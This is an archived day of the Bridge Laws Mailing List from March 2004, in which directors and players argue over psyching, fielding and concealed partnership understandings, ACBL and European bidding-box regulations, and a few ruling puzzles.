L12C2 or possibly L12C3. Let's not forget >>that this is an international forum and that this discussion >>has centered mostly on EBU regulations. Other NBO's, >>possibly excluding Wales and Scotland have no regulations >>concerning fielding. > > > [Nigel] > (1) I am *not* against psyching, in principle. I believe it > is fun and intrinsic to the game. > OK, then you must also realize that any regulation which bars psyching is not good. What we are talking of here, are regulations which basically say "you are allowed to psyche, but only once in your life". > (2) Herman, I referred to cases, where there *was* evidence > of fielding. *In those contexts to which I referred in my > email*, if you anticipate partner's psyche then it is more > likely to be an implicit agreement than what I understand > as a psyche. > Of course, I have nothing against the principle of considering fielding evidence of CPU, and thus illegal. But my point is that the EBU use the wrong laws to rule against these CPU. > (3) I specifically referred to EBU law (similar to WBU > and SBU law). > not law, regulation. And so was I. We must make the distinction. This principle of fielding does not apply outside of Britain! > (4) Don't blame me if the rest of the world choose to > behave unethically :) As I have said repeatedly, if it > were up to me, I would simplify the laws and tighten up > their wording. > As I've stated, I can deal with unethicalities without resorting to EBU trickeries. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Tue Mar 30 09:07:05 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 30 Mar 2004 10:07:05 +0200 Subject: [blml] OT again In-Reply-To: <004c01c415e6$9864c9e0$532846a2@ams.com> References: <004c01c415e6$9864c9e0$532846a2@ams.com> Message-ID: <40692AA9.1020406@hdw.be> Konrad Ciborowski wrote: > > Hello folks, > > I am looking for a card game which rules would resemble as closely > as possible the rules of bridge > and which would be universally known by everybody in the countries where > English is > the native language (US, GB, Australia etc.). A game that everybody > would know > and play from time to time. Does such game exist at all? > Again - please respond to my private e-mail address and many thanks > in advance > to those who will take the time answer. Sorry Konrad, but I'll have to disappoint you. A card game closely resembling the game you call bridge is only played in Poland, and probably not even in the whole of Poland. Just Krakow. East Krakow. :-) > > > Konrad Ciborowski > Krakow, Poland > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Tue Mar 30 09:10:12 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 30 Mar 2004 10:10:12 +0200 Subject: [blml] Psyches In-Reply-To: References: Message-ID: <40692B64.3090607@hdw.be> Easy one, Richard: richard.hills@immi.gov.au wrote: > > > > Law 73A1: > > >>>Communication between partners during the >>>auction and play shall be effected only by >>>means of the calls and plays themselves. > > > Ed Reppert: > > >>Knowledge of partner's idiosyncracies, or >>of the state of the match, is not >>"communication between partners". > > > Richard Mollo Hills: > > Charlie the Chimp has the idiosyncrasy of > rubbing his diamond ring. Coincidentally, > this idiosyncrasy only occurs when Charlie > the Chimp is void in diamonds. > > The Chimp's partner, Molly the Mule, says > that she has not infracted Law 73A1 when > her woman's intuition is invariably correct > about whether or not a defensive diamond > ruff is available. > > How would you rule? > Knowledge that rubbing the ring indicates a void in diamonds is AI. Noticing that the ring is being rubbed is UI. WTP? > Best wishes > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From mfrench1@san.rr.com Tue Mar 30 09:22:57 2004 From: mfrench1@san.rr.com (Marvin French) Date: Tue, 30 Mar 2004 00:22:57 -0800 Subject: [blml] How Law 25B is not to be used References: Message-ID: <004c01c41630$53b18280$6401a8c0@san.rr.com> Richard Hills: David Stevenson suggested that, *if* Law 25A were to be abolished, *then* the ACBL Bidding Box regulation should be incorporated into Law 17 to officially define when a call was "made". FYI, the ACBL Bidding Box reg is attached. http://www.bridgeguys.com/BGlossary/BiddingBoxRegulation98.html Choosing a Call Using Bidding Boxes (snip) A call is considered made when a bidding box card has been taken out of the box with apparent intent. (snip) Marv French replies: This is no longer the ACBL bidding box regulation, which was changed effective January 1, 2001 to read: BIDDING BOXES - No Screens Players must choose a call before touching any card in the box. A call is considered made when a bidding card is removed from the bidding box and held touching or nearly touching the table or maintained in such a position to indicate that the call has been made. ####### Thus, you can change your mind about a call even after removing a card from the box with intent to play. This resembles L45C2 language regarding the play of a card by declarer. Of course the withdrawn call is UI to partner. I am told by ACBL TD management that "psyching" a call and then withdrawing it will not be tolerated. The potential for abuse of the regulation is nevertheless high. Marv Marvin L. French San Diego, California From t.kooyman@worldonline.nl Tue Mar 30 09:59:24 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 30 Mar 2004 10:59:24 +0200 Subject: Fw: [blml] How Law 25B is not to be used Message-ID: <006701c41635$51568940$d483b6d4@LNV> > Richard: > > A call is considered made when a bidding box card has been taken > out of the box with apparent intent. > > > > (snip) > > > > Marv French replies: > > > > This is no longer the ACBL bidding box regulation, which was changed > > effective January 1, 2001 to read: > > > > BIDDING BOXES - No Screens > > > > Players must choose a call before touching any card in the box. A call > > is considered made when a bidding card is removed from the bidding box > > and held touching or nearly touching the table or maintained in such a > > position to indicate that the call has been made. Do you know why the ACBL did change this? In '96 or so it was the ACBL, or> the ACBL LC, or the WBF drafting committee (all quite similar that time) that proposed the previous version which was supported by the WBF LC. In the Netherlands we had adopted this approach long before and it was added in our translated law book as an appendix in '97. As far as I know it worked well and I consider the new ACBL version as a decline. But I might neglect experiences in the ACBL explaining this decision. ton From H.W.Pieters@gasunie.nl Tue Mar 30 10:19:29 2004 From: H.W.Pieters@gasunie.nl (Pieters H.W.) Date: Tue, 30 Mar 2004 11:19:29 +0200 Subject: [blml] Insufficient kidding Message-ID: I call TD and if 2C&3C is natural I bid 2S otherwise I don't accept the b= id and let EW stew. -----Oorspronkelijk bericht----- Van: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]Namens richard.hills@immi.gov.au Verzonden: maandag 29 maart 2004 23:22 Aan: blml@rtflb.org Onderwerp: [blml] Insufficient kidding Imps Dlr: East Vul: EW The opponents play Acol. The bidding has gone: WEST NORTH EAST SOUTH --- --- 1C Pass 1NT 2S 2C ? You, South, hold: T52 AT87 654 975 What action do you take in the ACBL? What action do you take in the Rest of the World? Best wishes Richard James Hills -------------------------------------------------------------------------= ------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privilege= d and/or copyright information, the unauthorised use of which is prohibited= =2E Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenou= s Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations under= the Privacy Act 1988 (see www.immi.gov.au). -------------------------------------------------------------------------= ------------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml _________________________________________________________________________= ___ This communication is intended only for use by the addressee. It may cont= ain=20 confidential or privileged information. If you receive this communication= =20 unintentionally, please let us know by reply immediately. Gasunie does no= t =20 guarantee that the information sent with this E-mail is correct and does = not=20 accept any liability for damages related thereto. = =20 _________________________________________________________________________= ___ From blml@blakjak.com Tue Mar 30 13:06:48 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 13:06:48 +0100 Subject: [blml] Psyches In-Reply-To: <406923B1.8000607@hdw.be> References: <002001c4151a$53025010$99ce36d2@Desktop> <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> <4068510B.6090905@hdw.be> <+HrQ9BIPcGaAFwMf@blakjak.demon.co.uk> <406923B1.8000607@hdw.be> Message-ID: <5lexlABYLWaAFwvh@blakjak.demon.co.uk> Herman De Wael wrote >David Stevenson wrote: > >> Herman De Wael wrote >> >>> >>> Only an English TD can be so justified, and only in the sense that >>>you accept that the EBU has the right to issue regulations that go >>>against the laws of bridge. >> Of course this also means that the EBU has done such a thing, for >>which little evidence has been shown here in the posts I read. I do >>not think that language difficulties in the use of the word >>'fielding' are enough. Of course you can have a minority usage if >>you like, but that hardly makes a reg wrong just because it uses the >>majority usage. >> > >I am not talking about use of language here, but of issueing a >regulation which stipulates that certain infractions of L40B are not >treated as L40C prescribes, but carry som other penalty. If that >regulation does not go against the laws, ... > >>> Any other Director in the world is justified in assuming that the >>>fielding is evidence of a PU; that Director should then investigate >>>if this PU has been sufficiently disclosed to opponents or not, in >>>which case he should rule CPU; that Director should then investigate >>>if the opponents have been damaged through their not knowing of the >>>psyching tendencies of the player; that Director should then give an >>>AS according to L12C2 or possibly L12C3. >> Rather more difficult than you believe, I think. Remember what >>the infraction is, then read L12C again. >> > >Yes, please remind us what the infraction is, and then read L40C again. The psyche. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From hermandw@hdw.be Tue Mar 30 13:17:56 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 30 Mar 2004 14:17:56 +0200 Subject: [blml] Psyches In-Reply-To: <5lexlABYLWaAFwvh@blakjak.demon.co.uk> References: <002001c4151a$53025010$99ce36d2@Desktop> <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> <4068510B.6090905@hdw.be> <+HrQ9BIPcGaAFwMf@blakjak.demon.co.uk> <406923B1.8000607@hdw.be> <5lexlABYLWaAFwvh@blakjak.demon.co.uk> Message-ID: <40696574.9020206@hdw.be> David Stevenson wrote: >> >> Yes, please remind us what the infraction is, and then read L40C again. > > > The psyche. > Sorry David, but a psyche cannot be an infraction. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From blml@blakjak.com Tue Mar 30 13:16:36 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 13:16:36 +0100 Subject: [blml] systems policy In-Reply-To: <000801c4128a$620b6fc0$528bdbd5@lightningadmin> References: <000801c4128a$620b6fc0$528bdbd5@lightningadmin> Message-ID: Tom Cornelis wrote >Hi all, >  >I was wondering why the Laws cater for SO to decide what conventions >can be used. >I often feel that I'm not allowed to use the bidding techniques that >are currently available only because of the whim of some SO. >I'm also a bit disappointed at that. Bridge proclaims to be played >according to the same rules all over the world, but a standard system >in one country cannot be played in others. >I accept that SO can set conditions of contest, but those shouldn't >include the play of the game. That is merely your personal opinion. All sports and mindsports have world-wide rules and local rules - you accept that by saying that an SO can set CoC. In effect it is your view that the line between Laws and regs is set in the wrong place. The only things I can say are that [a] A majority of people who can make the decisions disagree with you, otherwise the regs would tend to allow conventions more freedom, or at least standardise them around the world, and [b] I personally disagree with you. Too many people do not like complete freedom of conventions, and history has meant that the effects of this are markedly different in different places. With the growth of online bridge, international travel and better communications, people are likely to move more together: until this happens we need the status quo. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Mar 30 13:18:12 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 13:18:12 +0100 Subject: [blml] How Law 25B is not to be used In-Reply-To: References: Message-ID: wrote > > > > >David Stevenson suggested that, *if* Law 25A were to be >abolished, *then* the ACBL Bidding Box regulation should be >incorporated into Law 17 to officially define when a call >was "made". FYI, the ACBL Bidding Box reg is attached. > >Best wishes > >Richard James Hills > >http://www.bridgeguys.com/BGlossary/BiddingBoxRegulation98.html > >Choosing a Call Using Bidding Boxes > >A player is obligated to choose a call before touching any card in >the box. Deliberation while touching the bidding box cards may >subject the offending side to the adjustment provisions of Law 16. >A call is considered made when a bidding box card has been taken >out of the box with apparent intent. Until the card has been >completely removed from the box, the director will treat the >situation as unauthorized information. That is an old regulation, since replaced. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Mar 30 13:22:12 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 13:22:12 +0100 Subject: Fw: [blml] How Law 25B is not to be used In-Reply-To: <006701c41635$51568940$d483b6d4@LNV> References: <006701c41635$51568940$d483b6d4@LNV> Message-ID: Ton Kooijman wrote >> Richard: >> >> A call is considered made when a bidding box card has been taken >> out of the box with apparent intent. >> > >> > (snip) >> > >> > Marv French replies: >> > >> > This is no longer the ACBL bidding box regulation, which was changed >> > effective January 1, 2001 to read: >> > >> > BIDDING BOXES - No Screens >> > >> > Players must choose a call before touching any card in the box. A call >> > is considered made when a bidding card is removed from the bidding box >> > and held touching or nearly touching the table or maintained in such a >> > position to indicate that the call has been made. > Do you know why the ACBL did change this? In '96 or so it was the ACBL, >or> the ACBL LC, or the WBF drafting committee (all quite similar that time) > that proposed the previous version which was supported by the WBF LC. In >the > Netherlands we had adopted this approach long before and it was added in >our translated > law book as an appendix in '97. As far as I know it worked well and I > consider the new ACBL version as a decline. But I might neglect experiences > in the ACBL explaining this decision. I do think this would be better if L25A was ever rescinded. However, while L25A applies, I do not believe the ACBL change improved the regs. In other words, I think that people can easily and consistently get in the habit of looking at the cards as they remove them from the box. Whatever is done in the future, using law or reg [or shifting some things in reg into law] we should retain the ability to change a call which a player sees is wrong just after removal from the box. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From Robin.Barker@npl.co.uk Tue Mar 30 13:26:31 2004 From: Robin.Barker@npl.co.uk (Robin Barker) Date: Tue, 30 Mar 2004 13:26:31 +0100 Subject: [blml] Psyches Message-ID: <533D273D4014D411AB1D00062938C4D904046856@hotel.npl.co.uk> Herman writes: > Sorry David, but a psyche cannot be an infraction. A psyche is an infraction if it based on concealed partnership understanding (this is Law 40 B). If your announced agreement is 1S = 10+HCP, 4+Spades; but your actual (concealed) agreement is 1S = 10+HCP, 4+Spades or 0-3HCP, 2Spades; then opening 1S is an infraction according to L40B: whether you have 10+HCP or 0-3HCP. Robin -----Original Message----- From: Herman De Wael [mailto:hermandw@hdw.be] Sent: 30 March 2004 13:18 To: blml Subject: Re: [blml] Psyches David Stevenson wrote: >> >> Yes, please remind us what the infraction is, and then read L40C again. > > > The psyche. > Sorry David, but a psyche cannot be an infraction. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or privileged material; it is for the intended addressee(s) only. If you are not a named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW. ------------------------------------------------------------------- From Harald.Skjaran@bridgefederation.no Tue Mar 30 13:37:53 2004 From: Harald.Skjaran@bridgefederation.no (Skjaran, Harald) Date: Tue, 30 Mar 2004 14:37:53 +0200 Subject: SV: [blml] Psyches Message-ID: <89FD2BC254969C4297E82458BB279900FA3490@exchange.idrettsforbundet.no> Robin Barker wrote: Herman writes: > Sorry David, but a psyche cannot be an infraction. A psyche is an infraction if it based on concealed partnership understanding (this is Law 40 B). If your announced agreement is 1S =3D 10+HCP, 4+Spades; but your actual (concealed) agreement is=20 1S =3D 10+HCP, 4+Spades or 0-3HCP, 2Spades; then opening 1S is an infraction according to L40B: whether you have 10+HCP or 0-3HCP. ----- Then it's got nothing to do with psyching, it's a CPU. That's an infraction. A psyche is not. Harald Skj=E6ran ----- Robin -----Original Message----- From: Herman De Wael [mailto:hermandw@hdw.be] Sent: 30 March 2004 13:18 To: blml Subject: Re: [blml] Psyches David Stevenson wrote: >> >> Yes, please remind us what the infraction is, and then read L40C again. >=20 >=20 > The psyche. >=20 Sorry David, but a psyche cannot be an infraction. --=20 Herman DE WAEL Antwerpen Belgium http://www.hdw.be _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or privileged material; it is for the intended addressee(s) only. If you are not a named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW. ------------------------------------------------------------------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From tsvecfob@iol.ie Tue Mar 30 13:43:20 2004 From: tsvecfob@iol.ie (Fearghal O'Boyle) Date: Tue, 30 Mar 2004 13:43:20 +0100 Subject: [blml] One trick to the offending side? References: Message-ID: <009701c41654$96b450c0$df8fcbc1@unknownx74e4p7> An easy curiosity for you? Declarer is in 5C and has 11 easy tricks. His Spade suit is xx in dummy and AKx in his hand. Having drawn trumps he plans to play AK and a ruff a Spade in dummy. He cashes the Spade Ace but discards from dummy on the second round of Spades. Nobody notices anything unusual and declarer now ends up with a losing Spade in each hand for 5C-1. The result is 5C=, 5C-1, 5C-2, or other? Best regards, Fearghal. From jaapvanderneut@hotmail.com Tue Mar 30 13:22:44 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Tue, 30 Mar 2004 14:22:44 +0200 Subject: [blml] How Law 25B is not to be used References: <004c01c41630$53b18280$6401a8c0@san.rr.com> Message-ID: Marvin: > Thus, you can change your mind about a call even after removing a card > from the box with intent to play. This resembles L45C2 language > regarding the play of a card by declarer. Of course the withdrawn call > is UI to partner. I am told by ACBL TD management that "psyching" a call > and then withdrawing it will not be tolerated. The potential for abuse > of the regulation is nevertheless high. > Gee, in France they have recently 'upgraded' the regulations in the same way (you can withdraw a visible call without penalty other than UI protection). And we are not discussing obvious mechanical handling problems here. And yes somebody has done this to me. He psyched and then withdrew his psyche. In France the director shrugged his shoulders. It was no infraction under the new regulations and his partner didn't use the UI. Great. Jaap ----- Original Message ----- From: "Marvin French" To: Sent: Tuesday, March 30, 2004 10:22 AM Subject: Re: [blml] How Law 25B is not to be used > > Richard Hills: > > David Stevenson suggested that, *if* Law 25A were to be > abolished, *then* the ACBL Bidding Box regulation should be > incorporated into Law 17 to officially define when a call > was "made". FYI, the ACBL Bidding Box reg is attached. > > > http://www.bridgeguys.com/BGlossary/BiddingBoxRegulation98.html > > Choosing a Call Using Bidding Boxes > > (snip) > > A call is considered made when a bidding box card has been taken > out of the box with apparent intent. > > (snip) > > Marv French replies: > > This is no longer the ACBL bidding box regulation, which was changed > effective January 1, 2001 to read: > > BIDDING BOXES - No Screens > > Players must choose a call before touching any card in the box. A call > is considered made when a bidding card is removed from the bidding box > and held touching or nearly touching the table or maintained in such a > position to indicate that the call has been made. > > ####### > > Thus, you can change your mind about a call even after removing a card > from the box with intent to play. This resembles L45C2 language > regarding the play of a card by declarer. Of course the withdrawn call > is UI to partner. I am told by ACBL TD management that "psyching" a call > and then withdrawing it will not be tolerated. The potential for abuse > of the regulation is nevertheless high. > > Marv > Marvin L. French > San Diego, California > > > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Tue Mar 30 13:53:31 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Tue, 30 Mar 2004 14:53:31 +0200 Subject: [blml] How Law 25B is not to be used References: <006701c41635$51568940$d483b6d4@LNV> Message-ID: > Do you know why the ACBL did change this? Well I posed the question to a senior French TD after discovering the FFB has done more or less the same. The answer was simple. At lower level the normal rule created too many TD calls and too many rulings the bunnies disliked. So they changed it to appease the masses. Since the FFB's ability to pay for its operations is directly dependent on the number of bunnies that pay their fees this seems a no-brainer to me. To me this is typically a rule which should be level dependent. Let the bunnies play in the way they like (who cares about some UI at that level). But starting at a certain level (whatever is locally considered as serious competition) you need more serious laws. Another example is the 'partner no spades' rule. It is ridiculous this is legal in the US and illegal in Europa. It should be legal at recreational and low (and medium ?) level and illegal at competition level. At least that would make more sense. Given the current culture of law making we end up with having to play championships with bunny tailored rules, or to force the bunnies to play with rules designed for high level competition. Since allowing every SO to change the rules every which way the SO pleases the argument that bridge is played with uniform rules all over the globe makes no sense anymore anyway. Now for the ideal world. The WBF needs to make rules for the main WBF events anyway. It would be great if all zones and all NCBO's play their major championships with these international rules. If for no other reason, it is good preparation for those who are going to participate in the international events. Then any NCBO (or SO) that is so inclined can have local rules that are appropriate for their local thing. With some communication the diversity can be controlled. Besides the great majority of NCBO's/SO's would only be too happy if there were some standard sets of rules available. In my imagination you could/should define some options in those 'standard' rules. This reduces the customizing of rules to a couple of clear choices rather than to write rules yourself. Making and changing rules is hard work and only a few NCBO's have the capicity to really work on that. In a way you should think a little along the lines of the WBF systems policy. This is also a set of rules and given the level of the event you pick the appropriate limitation on systems. The same can (and should IMHO) be done for rules and regulations. Jaap ----- Original Message ----- From: "Ton Kooijman" To: Sent: Tuesday, March 30, 2004 10:59 AM Subject: Fw: [blml] How Law 25B is not to be used > > > > Richard: > > > > A call is considered made when a bidding box card has been taken > > out of the box with apparent intent. > > > > > > (snip) > > > > > > Marv French replies: > > > > > > This is no longer the ACBL bidding box regulation, which was changed > > > effective January 1, 2001 to read: > > > > > > BIDDING BOXES - No Screens > > > > > > Players must choose a call before touching any card in the box. A call > > > is considered made when a bidding card is removed from the bidding box > > > and held touching or nearly touching the table or maintained in such a > > > position to indicate that the call has been made. > > > > > > Do you know why the ACBL did change this? In '96 or so it was the ACBL, > or> the ACBL LC, or the WBF drafting committee (all quite similar that time) > that proposed the previous version which was supported by the WBF LC. In > the > Netherlands we had adopted this approach long before and it was added in > our translated > law book as an appendix in '97. As far as I know it worked well and I > consider the new ACBL version as a decline. But I might neglect experiences > in the ACBL explaining this decision. > > ton > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From blml@blakjak.com Tue Mar 30 15:24:26 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 15:24:26 +0100 Subject: [blml] Psyches In-Reply-To: <40696574.9020206@hdw.be> References: <002001c4151a$53025010$99ce36d2@Desktop> <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> <4068510B.6090905@hdw.be> <+HrQ9BIPcGaAFwMf@blakjak.demon.co.uk> <406923B1.8000607@hdw.be> <5lexlABYLWaAFwvh@blakjak.demon.co.uk> <40696574.9020206@hdw.be> Message-ID: Herman De Wael wrote >David Stevenson wrote: > >>> >>> Yes, please remind us what the infraction is, and then read L40C again. >> The psyche. >> > >Sorry David, but a psyche cannot be an infraction. > Time you re-read L40A! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Mar 30 15:35:54 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 15:35:54 +0100 Subject: SV: [blml] Psyches In-Reply-To: <89FD2BC254969C4297E82458BB279900FA3490@exchange.idrettsforbundet.no> References: <89FD2BC254969C4297E82458BB279900FA3490@exchange.idrettsforbundet.no> Message-ID: Skjaran, Harald wrote >Robin Barker wrote: > >Herman writes: >> Sorry David, but a psyche cannot be an infraction. > >A psyche is an infraction if it based on concealed >partnership understanding (this is Law 40 B). > >If your announced agreement is 1S = 10+HCP, 4+Spades; >but your actual (concealed) agreement is >1S = 10+HCP, 4+Spades or 0-3HCP, 2Spades; >then opening 1S is an infraction according to L40B: >whether you have 10+HCP or 0-3HCP. > >----- >Then it's got nothing to do with psyching, it's a CPU. >That's an infraction. >A psyche is not. It is the combination. L40 allows you to make any call without a CPU. So, if you make a call with a CPU, that call is an infraction. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ehaa@starpower.net Tue Mar 30 16:43:36 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 30 Mar 2004 10:43:36 -0500 Subject: [blml] Psyches In-Reply-To: <9B94CA32-7F1E-11D8-BB0B-0030656F6826@rochester.rr.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1803@lonsc-s-031.europe.shell.com> Message-ID: <5.2.0.9.0.20040330103816.02c06930@pop.starpower.net> At 07:10 AM 3/26/04, Ed wrote: >"You can psyche, but once your partner becomes aware that you might, >you have to stop." If that's what we want, then why don't the >regulations (or the laws) just say so? Ed's paraphrase reflects the official position of the ACBL, promulgated in a published interpretation of the ACBL's regulations on psyching written by (then President of the ACBL) Don Oakie in the late 1970s. Widely known as the "one psych per partnership per lifetime" rule, it has, AFAIK, never been retracted or superceded. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From jaapvanderneut@hotmail.com Tue Mar 30 16:58:09 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Tue, 30 Mar 2004 17:58:09 +0200 Subject: SV: [blml] Psyches References: <89FD2BC254969C4297E82458BB279900FA3490@exchange.idrettsforbundet.no> Message-ID: Harald: > >Then it's got nothing to do with psyching, it's a CPU. > >That's an infraction. > >A psyche is not. DWS: > It is the combination. L40 allows you to make any call without a CPU. > So, if you make a call with a CPU, that call is an infraction. Herman: >>Sorry David, but a psyche cannot be an infraction. DWS: >Time you re-read L40A! DWS has gone mad I guess. In his recent reactions to Harald and Herman (and before) DWS basically says that law 40 doesn't say what it says. Or he doesn't take others serious (has he ever done). Or his logic seems to be that a psych implies a CPU by definition. This type of logic is also used in the EBU 'fielding' approach. If the EBU wants no psyches in England that is fine with me. But don't complicate the issue (by twisting laws and the meaning of words) and simply say so. It has been done before you know. At French festivals there often are regulations which forbid certain types of psyching. And the TD will laugh at you if you try to defend yourself citing law 40 or whatever. Right he is, if you want to play French festivals you have to accept their rules. In a way this is akin to the ACBL joke of saying 'you can play 9-11 NT but you cannot play Stayman after this'. Please, kick out all the lawyers that come up with this kind of nonsense. But to be clear, I have absolutely no problem with regulations that forbid mini NT's if the SO thinks that is better for the event. At low level and at pairs events (few boards a table) unlimited freedom of systems is unpractical if not impossible. But please say so in a simple way. Jaap ----- Original Message ----- From: "David Stevenson" To: Sent: Tuesday, March 30, 2004 4:35 PM Subject: Re: SV: [blml] Psyches > Skjaran, Harald wrote > >Robin Barker wrote: > > > >Herman writes: > >> Sorry David, but a psyche cannot be an infraction. > > > >A psyche is an infraction if it based on concealed > >partnership understanding (this is Law 40 B). > > > >If your announced agreement is 1S = 10+HCP, 4+Spades; > >but your actual (concealed) agreement is > >1S = 10+HCP, 4+Spades or 0-3HCP, 2Spades; > >then opening 1S is an infraction according to L40B: > >whether you have 10+HCP or 0-3HCP. > > > >----- > >Then it's got nothing to do with psyching, it's a CPU. > >That's an infraction. > >A psyche is not. > > It is the combination. L40 allows you to make any call without a CPU. > So, if you make a call with a CPU, that call is an infraction. > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Tue Mar 30 17:02:43 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Tue, 30 Mar 2004 18:02:43 +0200 Subject: [blml] Psyches References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1803@lonsc-s-031.europe.shell.com> <5.2.0.9.0.20040330103816.02c06930@pop.starpower.net> Message-ID: > Widely known as the "one psych per partnership per lifetime" > rule, it has, AFAIK, never been retracted or superceded. Great, but how come the ACBL accepted Zia as a member? And how come they haven't kicked him out by now? Has once in a lifetime been replaced by a couple of times a session? Or do 'tactical bids' not count towards your psyche tally? And what is the operational definition of a psyche by the way? Jaap ----- Original Message ----- From: "Eric Landau" To: "Bridge Laws Discussion List" Sent: Tuesday, March 30, 2004 5:43 PM Subject: Re: [blml] Psyches > At 07:10 AM 3/26/04, Ed wrote: > > >"You can psyche, but once your partner becomes aware that you might, > >you have to stop." If that's what we want, then why don't the > >regulations (or the laws) just say so? > > Ed's paraphrase reflects the official position of the ACBL, promulgated > in a published interpretation of the ACBL's regulations on psyching > written by (then President of the ACBL) Don Oakie in the late > 1970s. Widely known as the "one psych per partnership per lifetime" > rule, it has, AFAIK, never been retracted or superceded. > > > Eric Landau ehaa@starpower.net > 1107 Dale Drive (301) 608-0347 > Silver Spring MD 20910-1607 > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From fvieira@fe.up.pt Tue Mar 30 17:44:35 2004 From: fvieira@fe.up.pt (Fernando Vieira) Date: Tue, 30 Mar 2004 17:44:35 +0100 Subject: [blml] One trick to the offending side? In-Reply-To: <009701c41654$96b450c0$df8fcbc1@unknownx74e4p7> References: <009701c41654$96b450c0$df8fcbc1@unknownx74e4p7> Message-ID: <4069A3F3.7010803@fe.up.pt> I believe there is no offending side in the situation you described. Everyone is responsible for dummy. So result stands Best regards, Fernando Fearghal O'Boyle wrote: >An easy curiosity for you? > >Declarer is in 5C and has 11 easy tricks. His Spade suit is xx in dummy and >AKx in his hand. Having drawn trumps he plans to play AK and a ruff a Spade >in dummy. > >He cashes the Spade Ace but discards from dummy on the second round of >Spades. Nobody notices anything unusual and declarer now ends up with a >losing Spade in each hand for 5C-1. > >The result is 5C=, 5C-1, 5C-2, or other? > >Best regards, >Fearghal. > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml > > > > From johnson@CCRS.NRCan.gc.ca Tue Mar 30 17:48:26 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Tue, 30 Mar 2004 11:48:26 -0500 (EST) Subject: [blml] Psyches In-Reply-To: from "Jaap 